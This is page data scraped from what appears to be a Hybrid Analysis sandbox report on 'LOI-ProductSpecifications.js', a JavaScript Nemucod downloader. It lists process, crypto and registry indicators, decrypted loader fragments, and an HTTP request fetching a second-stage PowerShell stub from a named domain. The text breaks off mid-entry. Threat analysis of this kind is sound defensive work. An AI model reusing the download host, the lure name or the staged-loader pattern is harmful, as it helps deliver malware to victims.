34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 5f:I[99539,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4da,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious SVM:TrojanDownloader/JS.Nemucod Sample c0b6230be84e… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample c0b6230be84e…. Malware family: SVM:TrojanDownloader/JS.Nemucod. Threat score 100/100. 3/27 AV engines flagged this file. 9 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","keywords":["Malicious","SVM:TrojanDownloader/JS.Nemucod","malware analysis","sandbox report","threat intelligence","c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0"],"about":{"@type":"SoftwareApplication","name":"LOI-ProductSpecifications.js","applicationCategory":["script","javascript"],"identifier":"c0b6230be84eb027eeebb51e7bb56537c0882a85cbdb069863b2e6372130d1c0","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"SVM:TrojanDownloader/JS.Nemucod","antivirusDetections":{"malicious":3,"total":27},"behavioralIndicators":{"malicious":9,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T4c5,Found reference to API "ow64SetThreadContext" (Indicator: "SetThreadContext"; File: "AMSI") Found reference to API "ow64GetThreadContext" (Indicator: "GetThreadContext"; File: "AMSI") Found reference to API "ow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "ow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "ResumeThreadDelegate" (Indicator: "ResumeThread"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "SetThreadContextDelegate" (Indicator: "SetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "GetThreadContextDelegate" (Indicator: "GetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "_wow64SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp") Found reference to API "_wow64GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00006896.00000001.136542.EEB90000.00000004.mdmp")37:T9fb,"WScript.exe" queried SystemProcessInformation at 00000000-00005240-00000C15-613550061 [PID: 5240] "WScript.exe" queried SystemProcessInformation at 00000000-00005240-00000C15-613557350 [PID: 5240] "WScript.exe" queried SystemProcessInformation at 00000000-00005240-00000C15-613716979 [PID: 5240] "WScript.exe" queried SystemProcessInformation at 00000000-00005240-00000C15-613724527 [PID: 5240] "WScript.exe" queried SystemProcessInformation at 00000000-00005240-00000C15-616267910 [PID: 5240] "WScript.exe" queried SystemProcessInformation at 00000000-00005240-00000C15-616275822 [PID: 5240] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-617185556 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-617193144 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-617368472 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-617382232 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-619552849 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-619561828 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-620083986 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-620117168 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-620603192 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-620610632 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-622617944 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-623328273 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-623335678 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-626145880 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-626153243 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-628489905 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-634240197 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-639270873 [PID: 6896] "powershell.exe" queried SystemProcessInformation at 00000000-00006896-00000C15-644610073 [PID: 6896]38:T1f9f,"WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "HTTP/1.1 200 OKDate: Wed, 04 Nov 2026 10:21:25 GMTServer: ApacheStrict-Transport-Security: max-age=63072000; includeSubDomainsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffLast-Modified: Tue, 03 Nov 2026 11:06:10 GMTAccept-Ranges: byt"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "#==================================================# PS Secure Loader - Class-Based Decryption Wrapper#==================================================Set-StrictMode -Version Latest$ErrorActionPreference = 'Stop'# Embedded cryptographic materia"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "ylIVSR1V6gX21Jr1kXMA+zGxnmNYNtfir8D4olFo6QYn9Ug9TSpydXTMBnvIhBFC9pydmcUuGyEqGbjRa70slPjDoKrRhT84Z+9UdPqOfye4fIfYVchO2zosF5IqS732pPU8mjfO5EmTlWsW5UWEm47f8p2vYQYy8L/57Qm08DWfd5sQlPG1LOj1XAV/1xDYItT+kibNz/0ygs1faY/7NHXrTKbEa4h111oSrXXtdVYLEDzddmPdnTO6FXeFKo"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "yWCdq8Mm3sg/T7hkOLkBS9V5D5L+WmNlx/uR92OWrYwdR6xfirCselDB0t4MDZK6kPoTWajN/kKwTCJgffbOL0HN+KH+MuC+ERsvkLDL9KwT+RCPwlBmjCubzgkcHegBPtBtm09jnHp7RyR2NVEzsDv2f87jAtXkPpUiWv9I4t4t8/wAmpWkzr3S1ME7JQJWsV1aS1x0UEaPFrhiwNFDcSxEucw7zMGFb7dwV/IOvcxUMqu8NKiI+lYd0o9xSr"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "XZFHg0FdASnn4fEXFokCBAmllTBDNfqfyvPpiL0Oj9iDw0BNbO5WFJ8Sk5DWUUEI8n/DFNxeF74tB9FBYKi2qBggkrHMFLEgKWmkeasyxS+muINiPGnd8M3vbqbmHDxqwaGGvzy1ekCePYOcagei2btDPWZxdXAuBdjXFz4bLgKel7zbL5YPdgpVJRO24e5T3yYHBSPUK7ULdCbPuYQIyndQivEFVvr7lowDl48p66b3URdR/Ly+ZL1n/kFBNB"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "yhQmEdgBS+ysN24ZLMiFvgmryNPnCQBikZKk5gfT+AvMODYmZhMWPKyZpEYY6eIeBbi8hB7z3ZpjJameN8i4JcAPio5yJOkCDuIgwffj5gLoCPIzOIgbyS8iPK52mD7qH7w84lZPF3SBgqS4DqulPpe0Idb8F59SOd14TAUaYK8Fsd03hCJcKYrvV0DqGs12Iq7ruQqMHt1n6EEbD1nztc5p7AQ6Mo4/R5oo0nX2iXdAw0copyKNDZ7U35xW3u"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "oc1MIiU8Xf2UBUuSY1RSEhMQcpf0HEHAQexwRk6Em1M/q2F5tMVUPvpeKjesTlhmfJ3nFVafs7sbeq0P4lwxVF78QB9WqeI7dYzqgxRNbtaWCC5y+L/zIAQGOAEiomNX7xnxQ8HmZj9kpD+eahuQcsPqlVEU/U+Aqfk/fNEgUdZNmqe3+nO56spDKfKqagnGUZ56H69LvarGcD0GmB/Ym202bJwEzSkdEnQAHmmarexftYdQR5uJK6ONV+cFKX"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "qPR9mtYtS66/Z9Pm/ZSWw6Lej/Cc3n+bG0i6SPaCqBru2Tyea6IMoIuAn8QkJzmujKeVk4+Nie9RY+XOiKUeSMI7k2Al4NLh4/sj50SezbYzB8RGjO8svXZ6D8tfJ6d8QaWMLOyrahRMMQiVmXgfnBgnmA6m7XIEcp6QdPKIv/GI4RdxMwhg9WSntNbk3BO96hUfecZzh0X+i4KUwjkZJ5XyZn47M/cRT+HyGw4Hx4ZYnBWx5ZZ2AHCzr5JnR1"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "etI11N+FiXaEK5Moi0kjHzA4LxK8o2r+LjsAfEx9XugjeJ+sbUtX2J+zilkepkCGHsVsVNnsNz16KR8aCB8lKlaUQEIFvuOeOla4YC3ITel6CLuv7IOHQndprduf1YQHGXppNN+dFbD2vZyXy3dTgFdKcBeVJTs8Ivsbiw2zc46Vuq86KH80GOgBO/XRgsqlqMIIu66GsgGDoGAJIC7oazvHL79WHcBB6pCWUvQjvAhTPNjFy3XVavfdW21k1Q"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "0TTc9WmIP4qlkkIZiDuZ2Q3nV16cXp6N+SPG0F9eww0I98dGNTCMdoyCoIqkZjo2b8TpaUKE5F8tuUqCB2j19lE0ruZjhN4LNrMeTvySk2dvNZv+1zKOjc688ziqkdiXnaGWGYd/q9xtrT94ta+eZkZhQVeSYee672stJp6EDm+4P3UiXnpUJRplVY65Aj9xIWZnAViafDQLyWKbkWB3H0ZThWvcWmxLyb1GBdtfl0At0yVmtqRwKDcDdU0l"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "8OP7YvCLUKEe9SH2ZNyXt2yR1Fmt5X/GjrwxlKZ84FBkJGHNMfqQYPlUK3z5AzyfeFLTEfoy1SgT8cvzNMI6ZmtjGsaCUOtkvnA0YpzmO3aql63myqvuWUJCBMoDTdt+qJvDCbq22cy+MNjZLCZw8mX77UAuWTtz15M50wUr0pdmLW/KYQUplwvCETkBBNpHbsxMlV//w8qlccfi1h5Yl8ATWtaHz+WjlO6DhGtEEt4FghnNgshGppjTfhPP"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "LhKRqytjEAGGoR6AwNYnpAWbCgwY5QdxujDXyqsJhM49aMmgN4j2jpr96TYX7hyAWz7fj/VFwpfxCEaXjE6vMOWXHXqIJtgS3oQOxOHQFZAGc1oBh42LrDnMAeIgjZSYB+NsCNXig3r2qrLY/UT5rBFwOuvmOVDJNn/xyEirCpnwza3HCDWSP5kYVgyulB75ajIr7SYriqpA0Rios6nOcEK0uZVKzzS9sRcSS0w1c5nuoQxmef5Z51J0x2Io"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "/urVTCht+98TxCJD6L1xNrE0SMs6QF5f8NY/49xyYuO0VMSAxuH4pdr4KEVGv7vaqNHSBkY7cfUO3wcaZ9bhscKS0PG6i8IqP9dhz/3GOJNnHof707ac1EJ7T6q3xeeqNhKRSnhB2aCcoB4DTF5mxeXUdCaJrSxmAUcb+mSqCflr8zi9kmQp1qEnK0BZpajiUOgvYdzsy2U4H3rncReHGG/lSQXNmjohXcgGhzhMr1sVThJsic4browKDvMx"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "hEkcmAaOaiLjcEe1zZhXpB4EWa7A6dz/gxMIGK1OpgPaTmGDn+xFdAy0lPM5FYdFU61Rvn/6Co+xx8YcS4pMk14cyk+6Nj+Mu98Gmnu0eZEYbLtYyrSPqUeJ8IsVS8cxw6VkCvupS5neC7GZQKUq7+t9FQmgQRFtcIK8Ic2Hfqc3w3MxKv7tbv8cycIVZkibetIlfkD1DB0BhmcNsF7BF7//wVgrTOa36Z17cqNGAN5P/o+FwtdkssBDIIHr"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "7YNO4ZJGFF99ahW17FsZgPxszDEHSO6orCJoKxkBT+QcjYrzj4ZZ0BPICLzcPSgNoj+nOaduefWQhX14cQUWKXQPeTruEpMf+20hmETktuHuhSDugeBMwYUl8JjS2m4vfAjPSyXZjF8DS1r2uBmNU/sGTU10LqzUitQHnnfHFm+swJAgoLinx4i+Uyrh09B+6g1YOMJQw0hptpPpG6ML80EDM4T/Rvy2nOaBUbdCD8kg9HsiuiGnNDkmBLJr"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "FQdsoICLBC+dwmB0lTXvqX+hFd9veIpalEOvHZdtkbefeRnTbNiLDhBe6gIu0ts/vmcVEF015yIwMMwfuHmAJrFFXwSdLXlUy0do4Uz16pljANjyA3wUp9xaYsEz/gMh4q+OVhP9opxT34RSUE7ckVR6GRoiYtytGXqeHgsLjhVrMacLnYIFnVMd2RT7EolWEIC/SFHyjHTrNNmibUHn6jB1iVP5e7lU7cAO7RRIesPPIIpj/JwJh0hmTe3Aoq"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "oS5DSlFt8uI9PGcRcLPcHbXsfw/+GwYeTcFy7KcnR9tNeDT7aV4g20YyRKnAFca5fWR7FY+yChGhAbGJg2fHl1za8nLrchldO4zqSb+p9+OSB+vmt80gVB2stifNInxAupAAovAdyGEhKm8a08ctieBksR3q0gi0QPHswtoOYeOkhEH1Dp2Iso+tnXV9/0LkgrDye0N06rmxV2HCabrxNLdvKv8G/f5qD7YZoT01jPKMoMTw9069TO4vO6FkNz"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "or8fF5mX734YrcXkF0DH7zfwlX1GKsqeeQ4A+UcLZOMRs2UzvZgcNbHTzDUYa0izra8Xjb/V06RGn+jzT59dvOPAsg0OdWKsNZ2ipVsm2KJnqdWS89I+ySHOKlManbxATl38GOYHma/DqgU9FVvucBcpNRnImKJgdqhyGXHfOt3XLaJ/f6m7uGS1CVKZ1n75igDrLoRFHZUI/OKds+VLYYMn52fX0HAE9ngk5TXS73MdGubw/U2hmdHQ6StgZR"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "9rF3La33AUy0/cOvtAeaJ653jrTrt2ZN5TJQoZDPCCBtn4u9QyGowB3jmXm1MjxtiH8/jArlXEXeisLUaKIyoD/tSFQs5w40SFwtxluHyfVFXY6ont9tutfZnwwYw8psnW1Tcc3QumZS3U0sqxOsax5yg0ESiE/cqv5vgH57Y131CyeM+8iiCtlvsQfUZ33ebO591r9u4KgVT4lHCm9NtUt6kEmSGhVhDHK1/PpBlsE6ifEF3+YGM3jGywGn9D"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "VRZDlBut28AmSkEWLcvwvL92YWeIUP89QLZqsedlks/+SpUIdpYIlTTe6XUmzMbt9w3aUA+u8pR+mgnkWj3T3TEKv/cp6aNSvLmqbuVLdKkrCZRkfQNt9icPSAxvsqLoIe9xJVsy50kelNDSpD8blZRlWRC47TEYUJsj/LE4YK//9LCHmskbk20BmCY445QjggTJk2IDJGK1VdtWvDceZqbWHRM+q5XK4iz7Z4FiBpKfkqc+U+rZPmiBhxeIik"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "ZGlTbCYdTBOOw2UQCYNjQazHXtiWS4A5dl8sy0ehoblJNhldD9d2KUGkgiqjpauoX39FiSEnBAYQRqmARy96yig7Ti9xSLhNXRKQoAVtRXtuQhuOmTZTblH65qVmPkw+9GdbTMKwWoadJbxml+1ddaII37q5jfR447KEaO+NmzbP26oTtnBYhBcywtwi04KMmEoaRHBawaHRASBEvqZEg9C35GJHJ1304wP49pi1qT1iGLZLcSEo7A/+PR6rqa"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "3SH/Iny9u79g6EoXAMEG4lwYAoW3pitbUxJNeKrbr9og76cU7A8M4jASmQU5Pu8y+3zITITK2Bc9+BDSrWZYWCgx0HgfGTeLCaWjPDSk13kow8OrT5YcS74c4d9NI/w8CRbE3n05kyzMKyW3da9Z0DHwoW4s9LgZ/FfZsnU16w413pZJYPTHELxXSPUZ11y7NEZMvS0hAAKyxbyCex5Axx8P93pcRtcepGEcclM6q+A+HPVnye0QjcnJA/YXZX"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "zatPNOkH4RIUi2NYOI6AN29JjPRBn+VOiJGlwUNylaSIDBm2tYIpg5bJdXKfn9ZfNCyavWF93fXl/vGLNWPKcZuJRlYiBeM/mW31KKF8RviCV4FFUgluHIuP1+LutIVtaDy0njbWE3Vli14ZN9/IMTypVGcc+HvUTAy9aIGybr9nr3U6SV1xXVjQsFPG/UedEBiK4k4bXyfeIb6cZ9Go3xK5EWiFon2ExFdBIJBIaNxYZV2SGlw2z0715DRKuH"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "yiaqxylXyrO2A4hcdkrQyH4NXqk77JQ7MFZSdzew7DCdqaqkknUAXR+jek1TZjlvF/j5s/5Fi7ayqEg0LI/gYKN9v8X05iA/pmQBX7sQW+DtOS1zb/oqB8Gx7OlNWBIDqIrHMguPheP+dRwHN5ox43xfcAXAjYpPqh/90DWplRWbmX3eCZwsVIQJEZlcJFFNLUEvPFzrpU0MXm4VezbLD3BvO411ALAalHkZ3TREY7ZvHF9w+Dyoj6ZV8zmVmn"} "WScript.exe" called "BCryptDecrypt" with parameters {"$dataout": "a75474xVfbqAfwMdjyfckgEL1T4yIqTvJ0DBHA33HwvQ2zDogttn/Gx7gZGYYCORqJ8pNpE7bPQcEwZMNQ0hUcO3mUgRzwKP7HJe7dl6hpyWYbKp6fzsbpsIjr/peklBmRFq1Wh8mTk/ZFge82MNY0/NXvkxVFN7WcvEEd8O08lcboLKa6iIC2p3PmRhDGy8440wKs+qMmQZcg1gKgw1GupCCOtELuoJu2ZyvDfBRnxNiZ6lJf/XsK1k/Tci5W"}39:Tf78,Contains base64 string in header "stub" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "Language" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "usUA" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "gzip" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "MSIE" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "NET4" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "InfoPath" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "Host" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /build/secured_stub.ps1 HTTP/1.1Accept: */*Accept-Language: en-usUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)Host: leisureconnecting.comConnection: Keep-Alive"3a:T496,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Contains CRYPTO related strings Matched sigs: Detected XOR operators (encryption/decryption) Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Able to import cryptographic keys (seen in ransomware) Matched sigs: Able to decrypt/decode data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt data Matched sigs: Script contains XOR (Antimalware Scan Interface) Matched sigs: HTTP requests contain Base64 strings3b:Tc51,"WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005240) "WScript.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005240) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000000307507d00100001019dc9cf97f000000000000000000000000599bf97f00000000000000000000ee268f9af97f0000070000000000000090cfcf575e00000090cfcf575e000000400e9d9af97f00000000599bf97f00007b63519af97f0000030000000000000000000000000000009200000000000000a004c99bf97f000080cfcf575e000000bb5f8f9af97f00000d000000f97f0000a004c99bf97f000092000000000000000000000000000000a004c99bf97f00001c5b8f9af97f0000000000000000000092000000000000000d000000f97f00000d00000000000000aa00000000000000d2456a9bf97f0000a03a6f9b (UID: 00000000-00005240) "WScript.exe" called "RtlGetVersion" with parameter 140100000a00000000000000654a00000200000000000000000000000000000020817007d00100001496cf575e00000000020000030000000000000000000000384a7707d00100008896cf575e0000002300240000000000000000000000000000000000000000008503fe7f000000001098cf575e000000482b7707d0010000002b7707d0010000e0027507d0010000f8007771f97f0000cf2add9cf97f0000e0027507d0010000502d7507d00100000000000000000000002b7707d0010000385db5dcd0010000482b7707d0010000000000000000000000007771f97f0000010000000000000070f27871f97f0000000000000000000001000000000000000100000000000000c6ec7871f97f000000000000 (UID: 00000000-00005240) "WScript.exe" called "RtlGetVersion" with parameter 240100000a00000000000000654a00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005240)3c:Ta42,"WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000000000000000b7a1f77f00000000000000000000180000000000000000000000000000000000000000000000a0279e6428960000c8ef308f824d00000000b7a1f77f00003abda371f97f0000060000005e0000001f0000000000000001000000000000000000000000000000060000000000000000000000000000000000b7a1 (UID: 00000000-00005240) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a0000020000000000000000002009d001000000200000000000004ac0409cf97f0000d0efcf575e0000002e7e539af97f0000020000000000000000000000000000006a1d000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000040f0cf575e0000004a5cb8a1f77f000070efcf57 (UID: 00000000-00005240) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026ce7cf97f000000010000000000003826ce7cf97f00000000000000000000409d0a9cf97f00000000000000000000000100000000000010387507d00100000000639bf97f000001000000000000002f19cd7cf97f000000000000000000003826ce7cf97f000013cc3f70 (UID: 00000000-00005240) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f00009c33667cf97f0000203f667cf97f00000200000000000000203f667cf97f000002000000000000000300000000000000b133667cf97f00003836697cf97f0000a0db9d07d0010000b0db9d07d00100000000667cf97f0000010000000000000053a50c9cf97f00000000000000000000c0ab687cf97f000000101a00 (UID: 00000000-00005240) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000b0454f78f97f000040594f78f97f00005fb24e9af97f000040594f78f97f00000a000000000000000b00000000000000c5454f78f97f000030eb5178f97f0000e4e8549af97f00002856340ad001000000004f78f97f0000010000000000000053a50c9cf97f00000100000000000000f4394f78f97f000000a00000 (UID: 00000000-00005240) "WScript.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f000000000000000000000100000000000000c05f0878f97f00000001000000000000b85f0878f97f00000000000000000000409d0a9cf97f00000000000000000000000100000000000000000000000000000000568df97f00000100000000000000df100778f97f00000000000000000000b85f0878f97f0000f095cf57 (UID: 00000000-00005240) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000654a000002000000007f0000000000000000000001000000000000004026ce7cf97f000000010000000000003826ce7cf97f00000000000000000000409d0a9cf97f000000000000000000000001000000000000701fcf9af97f00000000cd7cf97f000001000000000000002f19cd7cf97f000000000000000000003826ce7cf97f000000d01500 (UID: 00000000-00006896)3d:T60f,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: 